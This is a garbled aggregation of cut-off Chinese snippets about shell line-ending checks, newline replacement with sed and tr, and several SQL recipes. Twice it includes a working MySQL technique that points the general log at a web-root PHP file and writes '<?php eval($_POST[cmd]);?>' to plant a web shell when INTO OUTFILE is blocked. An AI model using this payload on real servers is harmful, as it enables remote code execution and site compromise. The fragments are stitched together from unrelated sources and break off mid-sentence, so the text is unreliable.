前提:文件最后一行有换行符 第一步:以二进制方式取得文件最后两个byte.last2=`tail -c 2 <your_file> | od -x -A n` 第二步:判断最后两个byte是否是'CRLF'if [ $last2 = 0a0d -o $last2 = 0d0a ]then # Cheating! If the file ends in LFCR, it would incorrectly # say that it is CRLF echo File ends in CRLFf
说明:过滤换行符确实有点吭,不是那么好弄.处理文本时需要将换行符替换为空格,若使用sed命令会比较麻烦,而使用tr命令非常方便. 输入文本(country.txt) China America France German sed命令 cat country.txt | sed ':label;N;s/\n/ /;b label' tr命令 cat country.txt | tr "\n" " " 两个命令输出一致,但是sed命令的输出结尾有换行符,而tr命令的输出
outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址 select '<?php eval($_POST[cmd]);?>' #写入shell SQL查询免
select num ,cast(round(convert(float,isnull((a.Sum_Num-d.Sum_Num),0))/convert(float,c.Sum_Store_Num)*100,1) as varchar(50))+'%' as 報告 from FORM 做除法运算,分母不为0,round函数保留一位小数.cast函数强制类型转换,转成字符串类型,然后与'%'进行字符串拼接. sql中换行符的使用: SQL本身并不使用换行符,因为换行符就跟空格符和回车符一样都
outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global general_log = on; #开启general log模式 set global general_log_file = '/var/www/html/1.php'; #设置日志目录为shell地址 select '<?php eval($_POST[cmd]);?>' #写入shell SQL查询免
实用的SQL语句 行列互转 create table test(id int,name varchar(20),quarter int,profile int) insert into test values(1,'a',1,1000)insert into test values(1,'a',2,2000)insert into test values(1,'a',3,4000)insert into test values(1,'a',4,5000)insert into test va
行列互转 ) select * from test2 --列转行 select id,name,quarter,profile from test2 unpivot ( profile for quarter in ([Q1],[Q2],[Q3],[Q4]) ) as unpvt sql替换字符串 substring replace SQL查询一个表内相同纪录 having 如果一个ID可以区分的话,可以这么写 ) 如果几个ID才能区分的话,可以这么写 其他回答:数据表是zy_bho,想找